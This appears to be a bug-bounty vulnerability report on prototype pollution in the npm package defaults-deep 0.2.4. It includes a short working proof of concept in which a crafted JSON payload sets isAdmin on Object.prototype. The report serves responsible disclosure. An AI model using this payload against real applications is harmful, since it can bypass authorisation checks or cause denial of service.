I would like to report a prototype pollution vulnerability in defaults-deep.
It allows an attacker to inject properties on Object.prototype.
module name: defaults-deepversion:0.2.4npm page: https://www.npmjs.com/package/defaults-deep
Like extend
but recursively copies only the missing properties/values to the target object.
6,659 downloads in the last week
This is a variant of this vulnerability:
https://hackerone.com/reports/310443
The defaults-deep
package can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
Craft an object of form {constructor: {prototype: {...}}}
and send it to defaults-deep
:
var defaultsDeep = require('defaults-deep');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
defaultsDeep({}, payload);
console.log({}.isAdmin); // true
Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443